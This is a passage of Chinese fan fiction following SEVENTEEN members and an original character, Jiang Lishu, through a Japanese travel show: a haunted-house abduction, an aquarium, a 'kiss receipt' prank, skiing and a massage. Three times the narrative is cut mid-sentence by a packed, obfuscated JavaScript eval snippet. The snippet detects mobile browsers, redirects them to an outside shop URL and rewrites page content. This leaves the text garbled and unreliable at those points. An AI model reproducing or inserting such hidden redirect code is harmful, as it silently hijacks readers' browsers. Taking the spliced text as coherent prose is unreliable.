他压住本能,直到感觉身后的孩子们呼吸渐稳、抓他衣角的手慢慢松开,才缓缓收回胳膊。一群人挤在他身后,探头探脑地,终于敢一起看眼前这出“惊悚表演的贴贴”。 就在弟弟们惊魂未定之际,两个身形高大魁梧的“鬼怪”突然从暗处冲出,一左一右架起姜里树的胳膊,将他整个人悬空提了起来! “……?”干什么干什么??!!是不是太侮辱人了!!!!!这是他一米八三的大个第二次被人提起来了!!!! 不敢置信的表情加上双脚离地的瞬间,场面陷入一种荒诞的混乱。恐怖氛围未散,滑稽感却已扑面而来。镜头后的节目组工作人员早已笑得东倒西歪。 而弟弟们则彻底乱了阵脚:一边被吓得持续尖叫,一边又慌慌张张地追上去,嘴里不停喊着“安怼!!安怼啊!!里树哥!!”声音在大厅里荡出焦急的回音。 姜里树活像只被拎住翅膀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205986|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡妈妈,连脚上的拖鞋都没换,就被那两位“壮士”一左一右一路架着穿过大厅,径直塞进门外早已备好的车里。 后面追上来的孩子们惊呼不断,刚冲到车边,夫胜宽就被“鬼怪”拽着胳膊提了起来,他甚至袜子都没穿,光着脚就被一把丢进后座。好在车里暖气开得足,不算太冷。姜里树低头看了眼自己脚上那双室内拖鞋,弯腰脱了下来,轻轻放到夫胜宽脚边。 “穿上。” 说完,他自己就光着脚,踩在了车厢微凉的地板上。 这孩子穿上哥哥的拖鞋后,居然还有闲心隔着车门问那位“鬼怪”演员:“这么大声吼……嗓子不会痛吗?” 看来是真不怕了。 姜里树低头看了看那只依然紧紧抓着自己胳膊的手,无奈地抬了抬眉想,‘夫大胆,现在可以把你的手从哥的胳膊上拿下来了吗?’ 车子将他们载往一处未知地点。进了室内,换上统一的室内鞋,一行人穿过幽长的走廊。直到大门推开。舞台上,一位女子正奋力击响大鼓,鼓声震耳。方才“绑架”他们的“鬼怪”演员也换装登场,开始了正式的表演。孩子们渐渐放松下来,专注地望向舞台。 另一头,哥哥队那边却完全是另一番景象。 “……” 先是弟弟队的视频画面突然一黑,传来此起彼伏的惊呼与某种怪异的嘶吼,接着画面忽亮又灭,夹杂着“安怼!”“里树哥!”“等一下我的鞋!”之类的喊声,最后“啪”一声,连线彻底断了。 听到这些,谁还能坐得住。没等节目组解释,崔胜澈已经掏出手机打给了姜里树。不料,《Adore U》的铃声却从工作人员身后悠悠传来……姜里树的手机根本就没带在身上。 崔胜澈顿时气鼓鼓地挂断正在播出的通话界面,心里却想着改天一定要改改他这总不爱带手机的习惯。他转而打给其他孩子,好在金珉奎很快接了起来。问清情况后,才知道是节目组的安排,这会儿他们还在车上,正前往某个表演场地。 都在等着崔胜澈联系他们的成员们,在知道了后,这才放心下来,然后开始嘲笑刚刚尖叫的孩子们。 回到正在看表演的孩子们这边。 舞台上鼓点沉重,面具狰狞,动作却充满原始的张力。姜里树抱着手臂静静看着,觉得这表演其实挺有深意——驱除厄运、带来幸运的守护神,“生剥”。看似可怕,内核却是守护与祝福。 欣赏完表演就该他们表演了。 ‘这澡白洗了。’听到小八队长一个字一个字的读出任务的时候,姜里树只有这一个念头。 在 THE8 队长和编舞 DINO 的带领下,孩子们紧急排练了半小时的“生剥”表演,就这么被匆匆推上了台。评委席上坐着的,正是刚才那几位专业的“生剥”演员。 八老师开场气势十足,可随后进错拍的进错拍,跳错了还带头笑场的金姓队员说的就是你啊,夫姓队员紧随其后,蚌埠住笑了出来。结尾时,八老师本想独自把鼓抬起来摆个帅气的 pose,谁知鼓架子毫不给面子,“哐当”一声连滚带爬地滚到了评委脚边。 全场瞬间安静。 所有人,包括台上的孩子们和台下的评委们目光齐刷刷地,落在了那个十分不给面子的鼓架子上,大家一起咬紧后槽牙。 “哈!” 李硕珉为了不让结尾显得太垮,努力在徐明浩放倒鼓后,用力敲下最后一击——表演总算草草收场。 孩子们和评委们集体笑了出来。被夫胜宽拿刀的表演戳中笑点的徐明浩,也被笑得抬不起头还抬不起鼓,耳根微微发红。姜里树也背过身趴在地上笑得眼泪都出来。 评委老师们笑得格外开怀,却依然给予了孩子们温暖的鼓励与认可。 MVP 毫无悬念地颁给了八老师,而这份荣誉附带的“特权”是:可以当场指出成员们不好的习惯和行为。 发表完感言,孩子们整齐地向“生剥”演员们鞠躬,衷心感谢他们带来的精彩表演与夸奖。 今天的旅程在欢声笑语中落幕。从雪地飞驰到击鼓表演,每一刻都热闹鲜活。即便偶有惊吓与笨拙,但那些彼此相护的瞬间、狼狈后相视的笑声,都让这一天格外明亮。 真好,今天也是快乐的一天。 47. 47.手机要带好啊 清晨七点半,姜里树便挨个去叫醒昨晚嘎嘎乐到半夜的孩子们。 一群人睡得正熟,姜里树专门先把“闹钟”李硕珉叫起来以后,他就出去了。新任弟弟队队长李硕珉开始了他的叫醒服务,叫了这个那个又倒下,拖拖拉拉、半梦半醒地磨蹭了将近半个小时,快八点时才算全部勉强爬了起来,洗漱下楼吃早餐。 在李队长的带领下,弟弟队准时上了车。七个人坐在车上,手里拿着“好多鱼”零食,眼睛却望着车窗外真实的海,阳光下湛蓝的水波里面藏了好多鱼。 海越来越近,金珉奎看着那片无边的蓝色,脑海里不断想起被“丽瑞岛”支配的恐惧感,警惕性拉满。 幸好,车子最终停在了水族馆门口。今天的任务只是给专属海洋生物喂食和拍照而已。 “给焦糖桑、Kameko桑喂饭,和Tom kichi桑对话,给Hatahata酱亲亲拍照。” “Hatahata酱?Hatahata,我们不是买过还吃过吗?”拉着行李箱的姜里树突然听到了“熟鱼”的名字,吃起来很香的“老熟鱼”了。 “啊!是啊,那不是更更好找了。”夫胜宽也想了起来。 “那就出发!快快的完成任务吧!”李硕珉拿着平板核对着任务信息,成员们的话也欣然接收。 水族馆内,一进门便是整面巨大的玻璃幕墙。幽蓝的光从水中漫出来,鱼群像无声的梦境,缓缓从眼前游过,弟弟们贴着玻璃站成一排,与那片深蓝里的生命静静对望。 穿过那道玻璃墙,便进入了弧形的水族馆长廊。 幽蓝的光从头顶、身侧漫涌而下,鱼群如流动的星辰,在身边缓缓穿行。弟弟们走在通道里,时不时停下,仰头望着鱼群的肚皮滑过弧形玻璃,或是蹲下来,看一群小银鱼突然转向,像被风吹散的碎光。 脚步声在安静的长廊里轻轻回响,与游弋的影子叠在一起。 进入水族馆后,一行人几乎处于完全迷路的状态。幸运的是,队长李硕珉的“锦鲤体质”突然上线,竟误打误撞的一口气接连完成了三项任务,最后更是在海狗展示区顺利找到了Tom kichi桑,完成了对话任务。 作为奖励,团队获得了一小时的水族馆自由活动时间。离开前,他们特意回到那面巨大的玻璃幕墙前,静静地再看了一会儿那片幽蓝。走出场馆时,还赢得了一支克拉棒。 这一趟,可谓收获满满,趣味多多。 “要找到‘瞅我汪’?”终于能见到这位只闻其声的神秘导游了吗? 一下车,新的任务和新的地图就传输到了队长李硕珉手中的平板里。 然而,当弟弟队好不容易找到“瞅我汪”导游时,哥哥队早已跟随节目组的大巴,先行抵达了真正的任务地点。 “Say the name!” “SEVENTEEN!” 时隔许久,Seventeen再次以完整体出现在同一个镜头之中。 节目组并未立刻说明规则与奖惩,只是温和地笑着,朝所有人挥了挥手,让大家先进屋。 走在队伍最后的姜里树,不出意外地被“好久不见”的崔胜澈跳上后背,双臂一把锁住了喉咙,双腿从背后锁住姜里树的腰。 “切拜!真的求你把手机带在身上吧!联系不到你的时候,我恨不得自己插对翅膀飞到你身边啊!”崔胜澈贴在刚刚还慢悠悠像个老大爷似的姜里树耳边,试图唤醒对方那几乎不存在的“携带手机良知”。 “不是我不想带啊——这次是真的忘了!而且手机给我真的不会丢吗?那里面可是存了好多你的丑照呢!”姜里树被他的动作勒的一个踉跄,嘴上还不服软。 “!。行啊!我现在就让你认识一下什么叫‘杀人魔’!”崔胜澈手臂逐渐用力,果断放弃沟通,直接选择物理超度,“你连净汉的头绳、圆佑的眼镜布、知勋的歌词本、硕珉胜宽的润喉糖都记得带!为什么偏偏就是记不住带自己的手机啊!!!” “我哪知道啊!!!”姜里树努力稳住自己别晃悠,一边挣扎一边嚷着,“手机算什么必需品吗?!” 另外两位95line,尹净汉和洪知秀抱着胳膊站在屋子门口,气定神闲地看着快被“勒断气”的姜里树。虽然挺高兴这家伙为了不带手机,甚至把他们三个的指纹都录进了手机锁屏,但偶尔找不到人的时候,确实连人带手机一起“解决”掉的心情都是真实的。而且有没有丑照什么的,他们三个自己不是就能打开手机看看吗,看来已经被气傻掉了呢胜澈哒嘟~。 “而且我们不是一直都在一起嘛——”姜里树一边说,一边抬手拍了拍崔胜澈锁在他脖子上的胳膊。 “也有单人行程和分队活动的时候啊!就像这次!”崔胜澈箍着他的手臂又紧了紧。 这人怎么油盐不进啊!想起之前怎么都联系不上他的焦灼,崔胜澈语气里透出藏不住的着急。 “好啦好啦,米亚内,澈哩!”姜里树从身后人微微发颤的手臂和不同以往的语气里,真切地感受到了那份没有玩笑成分的焦虑。他立刻软下声音,认真地道歉。 “绝对不可以让我联系不到你!”崔胜澈的声音闷闷地压在他后颈,手臂还环着,力道却松了一些。 “好,我答应你。”姜里树抬起一只手,轻轻揉了揉身后那人柔软的发顶。 “里树啊,也得答应我们才行呢。” 尹净汉和洪知秀不知何时也靠了过来,笑眯眯地在一旁“补刀”,语气温柔却不容商量。 姜里树点点头,背着依旧不肯抬头、也不肯下来的崔胜澈,朝尹净汉和洪知秀那边又走了两步。四个人这才慢悠悠地往屋里挪。 “所以我的手机在谁那儿?”姜里树侧过脸问尹净汉。 “猜猜看?” “胜澈这儿吧。”姜里树说着,故意轻轻颠了一下背上的人。崔胜澈没吱声,也没抬头,只是原本松松环着的手臂,无声地收紧了。 “应该是在两队碰面之前,胜澈就从知勋那儿拿到了我的手机吧。碰面前摸到手机,才突然想起来要跟我说这个。”姜里树语气平平,却带着了然的笑意。 “你还真是了解他啊。”尹净汉微微挑眉,然后开始使坏,“唉咦~里树什么时候能对我这么了解啊~” “打住。”姜里树一边说,一边单手揽住崔胜澈的腿防止他滑下去,另一只手则迅速环过尹净汉的脖子,轻轻捂住了他的嘴,“我的钱包不是在你那儿吗,先安静会儿。而且绝对是你来的路上让知秀掏了胜澈口袋,才让他突然想起来的吧?” 尹净汉眨了眨眼,想了想好像确实是这样,见好就收。嘴巴被捂着,他便抬手比了个“OK”的手势,眼里还漾着笑意。 洪知秀走在最前面,到了孩子们聚集的房间门口,他脚步没停,脸上带着一贯温和的笑,毫不犹豫地推开了门。 至于身后那三位是以什么姿势“挪”过来的他一点也没管。 于是,门一开,屋里所有孩子的视线齐刷刷落在了门口。 背上背着不肯下来的崔胜澈、用手捂着尹净汉嘴的姜里树,三个人像叠罗汉似地卡在门框边。 短暂的寂静后,房间里瞬间爆发出忍俊不禁的笑声。 “hiong!你们这是什么姿势啊?!” “是在撒娇吗!哈哈哈” “我今天可是‘王’啊!说了要脚不沾地的!”崔胜澈从姜里树颈窝里抬起头,在姜里树背上,犹如在马背上般佯装威严地扫视一圈这群竟敢嘲笑“王”的“臣子”们,手指挨个点过去。 “拜见陛下!”哥哥队的成员们突然想起还有这茬,纷纷坐在位置上作势行礼,毕竟崔胜澈的“一日队长”任期还没过呢。 姜里树笑着揉了揉尹净汉的头发,便松开他,背着崔胜澈走到主位,小心把这位“王”放下,自己赶紧溜到一旁落座。 “不对啊,里树哥不是我们弟弟队的人吗?”姜里树真正的小队长李硕珉发出灵魂疑问。 “他也是95line,‘服务’他的‘王’有什么问题?”崔胜澈神秘兮兮的哼哼一笑,“说不定待会儿他就归队了!” “……感觉哥哥队的任务不是地狱,而是成员本身。”徐明浩听到哥哥队那边一会儿“陛下”一会儿“王”的,忍不住低声吐槽。 弟弟队虽然对哥哥队的氛围有所耳闻,但亲眼见到还是超出了想象。如今两队坐在一起聊天,才真切感受到彼此画风差异有多大。弟弟队幼稚园般的美好友爱,哥哥队权力更迭的“腥风血雨”。 人齐了总算开饭了。吃着吃着,夫胜宽忽然想起崔胜澈先前那句“说不定待会儿他就归队了”,忍不住直接问了出来:“Coups哥刚才对里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205987|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树哥说的‘归队’是什么意思?” “如果你们队要有一个人来我们队,会怎么样?”崔胜澈抬起头,笑眯眯地反问。 “既然胜宽开口问了,那就让胜宽来吧!”尹净汉也笑着提议。 “让胜宽来!让胜宽来!”权顺荣和哥哥队其他成员立刻跟着起哄。 “不不不不不……!”夫胜宽吓得声音都打结了,“会、会因为喊太多声带打结的!” 一想到可能要去哥哥队,他顿时觉得头顶乌云密布,仿佛接下来的行程都会黯淡无光,脑袋摇得像拨浪鼓。 哥哥队开始“阎王点卯”,下一个点中了李灿,也被忙内义正辞严地拒绝。 尹净汉转而让弟弟队来选择:如果要哥哥队一人过去,会选谁?弟弟队也友好地给出建议,李硕珉选了智商与幸运值双高的尹净汉,徐明浩则选了正在埋头吃饭的权顺荣。 “为什么会选Hoshi啊?” “就是想要。”徐明浩答得干脆,主打一个咪想要,咪得到。 “不行啊明浩~”权顺荣被弟弟点名心里美滋滋的,但还不是时候,“哥有必须留在这边的理由啊!”明浩啊,你哥的“仇”还没报完呢,他还等着当上哥哥队队长“一雪前耻”呢。 紧接着,弟弟队的崔瀚率也向权顺荣发出“组队邀请”,说如果之前的“生剥”表演有他在,一定会更精彩。这话让权顺荣有那么一瞬间的动摇,但很快,被“复仇”蒙蔽双眼的老虎又坚定了信念。 “我必须留在这里!!!”权顺荣甚至站起身来表达决心,手指直指头号“复仇对象”全圆佑,掷地有声,“你完了!” 顿时,整个房间爆发出欢乐的笑声。 在所有弟弟队成员都以为这不过是个玩笑时,崔胜澈却露出属于“王”的笃定微笑,指挥李知勋去取道具作为奖励。 弟弟队眼睁睁看着那位平时连队长都敢训的大制作人,此刻竟格外顺从地起身去拿东西,再一次对哥哥队内部的“权力秩序”感到震撼。 而当那把象征“队友交换权”的克拉棒被放到崔胜澈的手中时,弟弟队的孩子们瞬间紧紧抱成一团,仿佛这样就能抵挡即将到来的“命运”。 “拿到这支克拉棒的时候,我就想好要换谁了。”崔胜澈握着象征交换权的克拉棒,语气笃定。他先是指向了弟弟队那边——夫胜宽,随即视线转向自家队伍。在经历了短暂的成员“造反”当场被镇压后,耳边却响起一阵细碎而执着的低语。 “Hoshi、Hoshi、Hoshi、Hoshi、Hoshi……” 那声音像咒语,又像狐狸的轻喃。崔胜澈像是被狐狸魅惑住的昏君一样,被一股无形的力量逐渐吞噬思想,鬼使神差地跟着念了出来: “……Hoshi。” “啊!!!!!” 你见过愤怒的仓鼠吗?现在见到了。 权顺荣在崔胜澈念出那个名字的瞬间,像被踩了尾巴般原地弹起。他暴躁却又无力地埋头往嘴里猛扒饭,腮帮子鼓得圆圆的。 “冤枉啊陛下!臣活不下去了啊——”权顺荣半哭半笑地嘶喊,还不忘“垂死挣扎”,“请把臣留下吧陛下!” “Hoshi呀Hoshi~”全圆佑勾起嘴角,朝权顺荣比了一个“手枪”手势,默契挑战发起。 权顺荣头也没抬,却条件反射般抬手回了一个“手枪”。 挑战成功。 全场顿时笑倒一片,快被这对冤家之间的默契与快乐互动乐昏过去。 睡前照例要选出第二天的队长。弟弟队这边,再次围观了哥哥队成员们“卑微求生、示好新王”的名场面。 姜里树靠在权顺荣身上看着,再次在心里默默感谢:幸好自己一开始因为排行第十四,躲过一劫。 弟弟队这边也选出了新任队长,正是刚刚“转队”而来的权顺荣。 在一切确定后,此刻房间里,气氛微妙地分化开来,各有各的喜,各有各的忧吧。 “……你不是在瀚率房里吗?”已经睡下的姜里树,在被人从背后轻轻抱住时醒了过来。 “……”身后的人没说话,只是把脸埋在他肩后,蹭了蹭。 姜里树在黑暗里静了两秒,叹了口气,转过身掀开被子,将那人一起裹了进来,手在他发间轻轻揉了揉。 “睡吧。” 48. 48.“啵啵” 新的一天是一个晴朗的早晨,天色是冻过的淡青色,阳光薄薄地铺在覆雪的屋瓦与光秃的枝梢上,像一层晶莹的糖霜。空气清冽干净,吸进肺里带着醒神的寒意。街道安静,偶有脚踏车铃叮铃掠过,和晨起出门的居民。 大家聚在一起吃完早餐,两位小队长便各自带队行动,前往新的宿舍地点。 临行前出了个小插曲,哥哥队的行李箱不翼而飞。崔胜澈来弟弟队的车上找了好几圈,也没见到踪影。等到弟弟队都开车出发了,哥哥队还在原地四处翻找。 车子驶出一段路,崔瀚率才不紧不慢地坦白:“是我藏的。”而作为队长的权顺荣也是知情的,他们准备把哥哥队的交换零钱的克拉棒道具给“拿过来”。 这边刚做完“坏事”,谁知哥哥队那边也没闲着,他们干脆一口气花光了所有经费,然后准备用道具交换了弟弟队手中的钱。 两队隔空过招,一来一往,谁也没落下风。 “不一定哦,”姜里树坐在后排靠窗的位置,忽然开口打断了孩子们雀跃的计划,“你们能确定哥哥队的行李箱里,就装着我们要找的道具吗?” 目光扫过一张张看向他愣住的脸:“作为有特殊作用的克拉棒,哥哥队真的会把它放在行李箱里吗?我们的克拉棒在哪里?” “我这儿!”金珉奎从怀里掏出了那支重要的克拉棒。果然,正如姜里树所说,关键道具怎么会放在行李里呢?连他们自己也都是随时将克拉棒揣在身上的。 “虽然我们没安排便利店的行程,但露天温泉馆里总该有卖东西的吧。”权顺荣开始琢磨接下来的安排,语气里带上一丝懊悔,“早知道该像Joshua哥那样,把便利店也排进行程里……” 他想着想着忽然一顿。 等等,这么一想,哥哥队既然要去便利店,就一定会买东西。而重要的克拉棒,也一定会随身带着,用来买完东西花光游戏币再来交换游戏币! 权顺荣猛地转头看向姜里树,眼睛瞪得圆圆的:“Hiong,他们该不会……早就把这一切都算好了吧?!” ‘聪明起来了呢我的虎。’姜里树对他眨巴着眼睛歪着头看他,并没有回话。 蒸汽氤氲的露天温泉池内,权顺荣靠在池边石上,突然一拍水面:“哎一古,看来还得再多备一手才行。” 他扭头看向身旁闭目养神的姜里树:“Hiong,我们等会儿把钱花掉一部分吧!” 姜里树睁开眼,水珠从睫毛滑落:“现在?” “趁还没被哥哥队盯上。”权顺荣往池边挪了挪,湿漉漉的脑袋凑近,“而且,我要跟你买个啵啵。” 温泉的水声仿佛静了一瞬,身边所有弟弟都看着他们俩。 “莫拉古?”姜里树怀疑自己泡昏了头。 “我要跟你买啵啵!”权顺荣字正腔圆地重复,热气蒸得他脸颊发红,“这样就能以‘特殊消费’的名义留一部分钱,对我们怎么都不亏!” “……”姜里树抹了把脸上的水汽,“啵啵……怎么开收据?” “找店员作证啊!”权顺荣眼睛在蒸汽里亮晶晶的,“你就帮我翻译,说我们进行了一笔‘啵啵交易’。” 虽然听起来离谱,但姜里树看着小老虎兴奋晃动的呆毛,还是叹了口气:“……行。” 更衣后,两人走进温泉馆旁的便利店。权顺荣一边往篮子里扔泡面饮料,一边郑重地对店员比划:“我们还需要开一张特殊收据。” 姜里树忍着笑,用日语解释:“我弟弟刚才购买了我的一个吻,需要你帮我们单独列在收据上。” 年轻的女店员眨眨眼,随即笑出两个酒窝,在收据下方工整地补上一行: 「ちゅう(キス)ひとつ· 10,000円」 权顺荣接过那张轻飘飘的纸条,像接过藏宝地图般仔细对折,收进零钱袋里。走出店门时,冬夜的冷风拂过发烫的耳尖,他却笑得虎牙都露了出来。 姜里树伸手,揉了揉那颗还在得意晃动的毛茸茸脑袋。街灯把一群人的影子拉得很长,收据在胸口的袋子里沙沙轻响,像藏着一个只有弟弟队懂的秘密。 到达新的住宿地点,为了验证哥哥队是否真的如他们所想的防备程度一样,金珉奎和徐明浩悄悄溜到节目组的车上,打开了对方藏起来的行李箱。不出姜里树所料,那支用于交换零钱的克拉棒并不在里面。幸好,他们早有备用计划。 当晚,所有人在新的住宿地点汇合。哥哥队一下车便直奔弟弟队的房间,目标明确。 一见面,就直接亮出了交换道具:“我们要使用克拉棒,交换你们的零钱!”全圆佑从怀中取出那支象征交换权的棒子。 “可以。”出乎意料的是,权顺荣答应得非常干脆,甚至主动递上了零钱包。 “这里面……该不会一分钱都没有吧?”尹净汉接过那个轻飘飘的钱包,打开一看,果然只剩几枚零星的硬币。 “你们的钱呢?” “在温泉馆的便利店花掉了。”权顺荣自信地递上收据,“这是消费凭证。” 尹净汉顺着条目往下看:“泡面、饮料……一个啵啵?一万日元?!”他震惊地抬起头,看向权顺荣,这孩子为了游戏,连节操都拼上了吗?豆德呢?! “啵啵给谁了?”崔胜澈抱着胳膊问道,脸上的神色在灯光下看不分明。 “这儿呢。”姜里树笑着用指尖点了点自己的嘴唇,“顺荣向我买了一个啵啵,店员见证,收据为证,钱已支付。现在这钱是我的啦!吼吼吼!” “你的……啵啵?” “昂,对,我的。”姜里树挑眉扭头看向他背后的崔胜澈,“怎么,你也要?” “……”崔胜澈望着姜里树那副“见钱眼开”的得意小表情,心里那股莫名的气忽然就散了。他无奈地瞥了对方一眼,最终什么也没再说。 “我要。”尹净汉却不打算就这么放过姜里树。他笃定,一定是这人在背后提点了弟弟们,才让原本“单纯好骗”的孩子们突然开了窍,防备了一手。 “?”姜里树被他这出人意料的要求震了一下。 “不啵啵,就说明你们刚才的交易是假的。”尹净汉抱着胳膊,笑得温柔又笃定,仿佛在说一件再自然不过的事。 “……可你们没钱了啊!”姜里树捏了捏尹净汉放在桌子上的哥哥队零钱包。 “这不用你操心。一个啵啵一万,我会付的。” “……亲就亲!”姜里树心一横,自家弟弟亲一下怎么了,净汉不也是自家孩子吗?他人就在尹净汉旁边,行动起来倒也方便。 他双手轻轻捧起那张隐约能看到恶魔小角的天使面容,却在所有弟弟炯炯的注视下,动作卡住了。 “要不……你们把头转过去先回避一下?”当众“啵啵”什么的,实在有点超出他的承受范围。 “那不行,我们得见证啊。”哥哥队的孩子们举一反三,一个比一个认真。 “哎呀,Hiong你不是都啵啵过顺荣哥了嘛,别害羞啦。”弟弟队也笑嘻嘻地加入围观阵营。 “……” 在众目睽睽之下,姜里树终于低下头,将那个轻轻的吻,落在了也在注视着他的尹净汉的额间。 据说,亲吻额头的寓意,是温柔,是珍视,是守护与无声的祝福。 姜里树离开后,周围所有声音都安静下来,目光聚焦在两人身上。连被亲额头的尹净汉也微微抬眸,静静地望着他。空气里浮动着某种柔软的、未命名的氛围—— 然后。 “钱。”姜里树伸出手。 四周的孩子们差点集体踉跄,这哥真是一秒毁气氛的高手啊。 尹净汉也在这一声里回过神,笑着从口袋里掏出钱包,抽出一张万元钞票,轻轻放在姜里树摊开的掌心上。 “等等?这不是我的钱包吗?!”姜里树瞪大眼睛,“你拿我的钱付给我?” “你就说给没给吧。”尹净汉眨了眨眼,笑得像只偷到蜜的狐狸。 好气啊,可是还得微笑着面对镜头。 虽然哥哥队没能成功换到弟弟队的钱,还亲眼目睹了对方那戏剧性十足的“啵啵交易”,但最终,两队还是一起分享了双方买来的零食。夜宵吃得饱饱的,热闹与笑声填满了房间,胜负什么的,暂时也就没那么重要了。 伴随着零食与笑声,第二天的队长人选也定了下来,是文俊辉与李灿。不知道这两位以和平鸽派著称的队长,将会如何带领队伍迎接新的任务。 清晨,天光初透,薄雾未散。 姜里树的生物钟准时将他唤醒。怀里还暖烘烘地蜷着李灿。他小心地将弟弟的脑袋在枕头上安顿好,自己轻手轻脚地起身去洗漱。 李灿因为今天要担任小队长早起带队,没过多久也迷迷糊糊坐了起来。昨晚哥哥的被窝像个小火炉,他睡得格外踏实。他揉揉眼睛,隐约想起前天早上好像也看到有人从姜里树床上起来……是谁来着?李灿抓抓头发,没想起来。 算了,先叫队员们起床吧。 一伙十四个人一起出发离开宿舍,出发前还在门口拍了张热热闹闹的集体合照。 目的地——滑雪场。 终于可以滑雪了! DINO队长石头剪刀布输给了JUN队长,带着弟弟队全员滑双板,却为了想滑单板的崔瀚率,和哥哥队做了交换。 哇——我们灿尼很有责任感呢。 在教练的基础教学后,姜里树就缀在弟弟队最后,缓慢而匀速地移动着,他也是好几年都没有碰过双板滑雪板了。明明滑雪是项充满活力的运动,却硬是被他滑出一种老大爷散步的闲适感。每当李硕珉控制不住速度时,他才会立刻跟上去护在一旁;或是夫胜宽摔倒时,稳稳将他扶起,仔细检查有没有受伤。 “硕珉啊,别怕,我就在你旁边。”姜里树滑到不停颤抖的李硕珉身侧,开始一步步教他基础动作,偶尔还掺进一些舞蹈的小技巧。李硕珉学得很快,脸上的紧张渐渐被专注取代。 “控制住了!我控制住了!”向前稳稳滑出一段距离的李硕珉欢呼起来。 “不错哦,试着滑得更远一点吧。”姜里树始终跟在李硕珉侧后方,保持着一个既能及时护住他、又不会妨碍他动作的距离。 就这样一路护送,直到李硕珉成功滑到正在坡下等待他们两人的成员们身边。 “芜湖~”大家一起笑着为他鼓掌。 “哇偶,这午餐真是别具一格啊。” 玩耍过后就该补充体力了,大家要一起从被压的结结实实的雪下挖出午餐球,每一个打开都不会让孩子们失望孩子们也很卖力的挖掘着。 餐后的雪地小游戏同样趣味十足。两队或推或拉、笑闹追逐,雪球飞溅间夹杂着惊叫与欢笑,连冰冷的空气都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”正扒着门缝试图谈判的姜里树,感觉那一嗓子简直像是对着他耳朵吼出来的。他默默转过头,看向从自己进门起就没再看手机的崔胜澈。 “啊啦搜——”崔胜澈望着姜里树写满无奈的眼睛,朝着门外懒洋洋地应了一声。 门外孩子们咚咚咚跑远的脚步声逐渐消失。姜里树终于成功扒拉开了门缝,正要往外爬,身后传来平静却不容反驳的声音: “站住。过来趴下。不是用了按摩券吗?不好好体验怎么行。”崔胜澈把手机放到桌上,拍了拍身边空着的位置。 “孩子们都离开了,你好好休息,我也回去睡了……这一天还挺累的。”姜里树佯装困倦地打了个哈欠,手脚并用地继续往外挪。 “我说‘站住’。把门关上,过来趴下。” “……”不愧是hip-hop队长,连命令都说得怪押韵的。姜里树在心里默默吐槽,手上动作却没停,老老实实关上门,一步一挪地蹭到崔胜澈手边的空位置,面朝下趴好,还把额头抵在胳膊上,脸也不露的姿势。 崔胜澈轻轻哼笑一声,跨坐到他腰后,手掌按上他肩背。 第一下就使了十足的力道。 “嗷呜——!”姜里树痛得整个人一弹,脸都皱了起来,好痛!??????????? 崔胜澈听到他惨叫,动作顿了一瞬,随后便放轻了力度,顺着肌肉纹理慢慢揉开那些紧绷僵硬的地方。 “好了好了好了!你已经帮我按过了,换我来给你按吧!”姜里树像条在砧板上扑腾的鱼,在崔胜澈手掌底下挣扎着不让他再按第二下。 “别动。” “?╭╮?” 是一条能听懂人话的鱼,真的乖乖不动了。 没过一会儿,崔胜澈还没想好问什么,手底下的人一点动静也没有的传来平稳的呼吸声。 如果姜里树是一只猫,这会儿大概已经打着“V8发动机”了。 而事实上,他也确实睡着了。 还是老样子啊,里树。 崔胜澈停下动作,低头看了看那张埋进臂弯里只露出了碎发间脖颈处的一片皮肤,无声地笑了笑。 本来打算就此放他一马的崔胜澈,停下动作起身,从柜子里取出被褥,在姜里树身边铺好。准备把人塞进被窝时,却看见那颗一直埋在臂弯和地板之间的脑袋,突然抬了起来,左右张望着,像在找什么。 “你在找什么?”崔胜澈坐在铺好的被子上问他。 “你在这啊。”只是浅眠的姜里树在身侧后方看到他,拍了拍被子,“来,趴下,我也帮你按按。” 看他这么执着,崔胜澈顺从地趴了下来,等着接受“服务”。 原以为第一下会被报复性地狠按,没想到落下的却是温和而有力的揉捏。舒服得崔胜澈几乎要昏昏欲睡。 “今天辛苦我们胜澈了……拼尽全力的样子真的很帅啊。”姜里树一边按着他今天过度用力的肌肉,一边轻声认真的说。 崔胜澈只是摇了摇头,什么都没说,没被臂弯藏起来的耳朵却红透了。 姜里树低头看了看那只通红的耳朵,手伸到半空,又轻轻收了回来。他笑了笑,继续手上的动作,专注地帮他放松肌肉,免得明天的行程,这人又要浑身酸痛。 49. 49.“未婚妻?” SEVENTEEN的六月末,是在一件堪称爆炸性的事件中结束的。 那时,姜里树刚和孩子们结束行程返回韩国不久。某个闷热平静的下午,他正坐在宿舍客厅的落地窗边阴影处的软垫上,和徐明浩一起就着偷跑进玻璃门缝的微风,有一搭没一搭地喝着清茶。 “姜里树!你有未婚妻了?!”崔胜澈举着手机从楼上冲进客厅,瞪大的眼睛里满是震惊,声音甚至有些变调。 同样在客厅的孩子们,“莫?莫?莫?”的叫了起来,也都默契地停下了手中的动作,竖起耳朵。哇~这毕竟可是他们家大哥的头条新闻啊! 